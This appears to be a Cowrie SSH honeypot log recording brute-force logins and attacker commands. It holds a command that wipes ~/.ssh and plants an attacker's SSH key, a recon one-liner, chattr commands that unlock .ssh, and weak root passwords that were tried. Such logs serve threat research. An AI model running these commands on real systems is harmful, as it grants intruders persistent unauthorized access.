{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:50.961774Z","src_ip":"118.127.40.41","session":"994a236a2511","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:51.598230Z","src_ip":"118.127.40.41","session":"994a236a2511","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:51.600421Z","src_ip":"118.127.40.41","session":"994a236a2511","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:51.818555Z","src_ip":"118.127.40.41","session":"994a236a2511","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:51.821644Z","src_ip":"118.127.40.41","session":"994a236a2511","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.127.40.41","src_port":47095,"dst_ip":"10.17.0.5","dst_port":22,"session":"120c5b245494","protocol":"ssh","message":"New connection: 118.127.40.41:47095 (10.17.0.5:22) [session: 120c5b245494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:52.030101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:52.034399Z","src_ip":"118.127.40.41","session":"120c5b245494","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:52.380579Z","src_ip":"118.127.40.41","session":"120c5b245494","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:53.274561Z","src_ip":"118.127.40.41","session":"120c5b245494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:54.608882Z","src_ip":"118.127.40.41","session":"120c5b245494","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.127.40.41","src_port":29642,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ec04727d1a3","protocol":"ssh","message":"New connection: 118.127.40.41:29642 (10.17.0.5:22) [session: 9ec04727d1a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:54.824335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:54.828687Z","src_ip":"118.127.40.41","session":"9ec04727d1a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:55.107410Z","src_ip":"118.127.40.41","session":"9ec04727d1a3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:56.049818Z","src_ip":"118.127.40.41","session":"9ec04727d1a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:56.432173Z","src_ip":"118.127.40.41","session":"994a236a2511","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:22:56.435935Z","src_ip":"118.127.40.41","session":"9ec04727d1a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.27.19","src_port":8506,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6f8774a2e6b","protocol":"ssh","message":"New connection: 103.82.27.19:8506 (159.203.135.109:22) [session: d6f8774a2e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:24:59.296966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:24:59.301479Z","src_ip":"103.82.27.19","session":"d6f8774a2e6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:24:59.572066Z","src_ip":"103.82.27.19","session":"d6f8774a2e6b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin@123","message":"login attempt [root/admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:25:00.390012Z","src_ip":"103.82.27.19","session":"d6f8774a2e6b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:25:00.978747Z","src_ip":"103.82.27.19","session":"d6f8774a2e6b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","message":"CMD: hostname; echo '___BSEP_A1B2C3___'; uname -a; echo '___BSEP_A1B2C3___'; whoami; echo '___BSEP_A1B2C3___'; pwd; echo '___BSEP_A1B2C3___'; ls -la /; echo '___BSEP_A1B2C3___'; ps aux | head -15; echo '___BSEP_A1B2C3___'; netstat -tulpn | head -10; echo '___BSEP_A1B2C3___'; history | tail -5; echo '___BSEP_A1B2C3___'; ssh -V 2>&1; echo '___BSEP_A1B2C3___'; uptime; echo '___BSEP_A1B2C3___'; mount | head -5; echo '___BSEP_A1B2C3___'; env | head -10; echo '___BSEP_A1B2C3___'; cat /etc/os-release 2>/dev/null | head -6; echo '___BSEP_A1B2C3___'; grep MemTotal /proc/meminfo 2>/dev/null; echo '___BSEP_A1B2C3___'; df -h / 2>/dev/null | tail -1; echo '___BSEP_A1B2C3___'; cat /proc/version 2>/dev/null; echo '___BSEP_A1B2C3___'; grep 'model name' /proc/cpuinfo 2>/dev/null | head -1; echo '___BSEP_A1B2C3___'; cat /etc/issue 2>/dev/null; echo '___BSEP_A1B2C3___'; last -n 3 2>/dev/null | head -3; echo '___BSEP_A1B2C3___'; ls /dev 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /var/log 2>/dev/null | wc -l; echo '___BSEP_A1B2C3___'; ls /opt 2>/dev/null; echo '___BSEP_A1B2C3___'; crontab -l 2>/dev/null | head -5; echo '___BSEP_A1B2C3___'; nproc 2>/dev/null || grep -c '^processor' /proc/cpuinfo 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:25:00.981844Z","src_ip":"103.82.27.19","session":"d6f8774a2e6b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","size":2189,"shasum":"21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/21a31c66cd6f07e3cc706bebdfbe0bd182d914c520f9a9201c2561f4713ea068 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:25:01.294584Z","src_ip":"103.82.27.19","session":"d6f8774a2e6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:25:01.299795Z","src_ip":"103.82.27.19","session":"d6f8774a2e6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":57490,"dst_ip":"10.17.0.5","dst_port":22,"session":"07e328272357","protocol":"ssh","message":"New connection: 2.57.122.96:57490 (10.17.0.5:22) [session: 07e328272357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:25:17.804053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:25:17.844620Z","src_ip":"2.57.122.96","session":"07e328272357","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:25:17.944684Z","src_ip":"2.57.122.96","session":"07e328272357","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shred","password":"shred","message":"login attempt [shred/shred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:25:18.554812Z","src_ip":"2.57.122.96","session":"07e328272357","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:25:19.667386Z","src_ip":"2.57.122.96","session":"07e328272357","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":57744,"dst_ip":"159.203.135.109","dst_port":22,"session":"d31a54b477f7","protocol":"ssh","message":"New connection: 2.57.122.96:57744 (159.203.135.109:22) [session: d31a54b477f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:25:33.023638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:25:33.027987Z","src_ip":"2.57.122.96","session":"d31a54b477f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:25:33.123850Z","src_ip":"2.57.122.96","session":"d31a54b477f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shred","password":"shred","message":"login attempt [shred/shred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:25:33.434183Z","src_ip":"2.57.122.96","session":"d31a54b477f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:25:34.531883Z","src_ip":"2.57.122.96","session":"d31a54b477f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.155.21.198","src_port":55308,"dst_ip":"10.17.0.5","dst_port":22,"session":"39e768e492f6","protocol":"ssh","message":"New connection: 43.155.21.198:55308 (10.17.0.5:22) [session: 39e768e492f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:26:45.184974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:26:45.188905Z","src_ip":"43.155.21.198","session":"39e768e492f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:26:45.397723Z","src_ip":"43.155.21.198","session":"39e768e492f6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Admin99","message":"login attempt [root/Admin99] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:26:46.268048Z","src_ip":"43.155.21.198","session":"39e768e492f6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:26:46.714559Z","src_ip":"43.155.21.198","session":"39e768e492f6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T01:26:46.717508Z","src_ip":"43.155.21.198","session":"39e768e492f6","protocol":"ssh"}
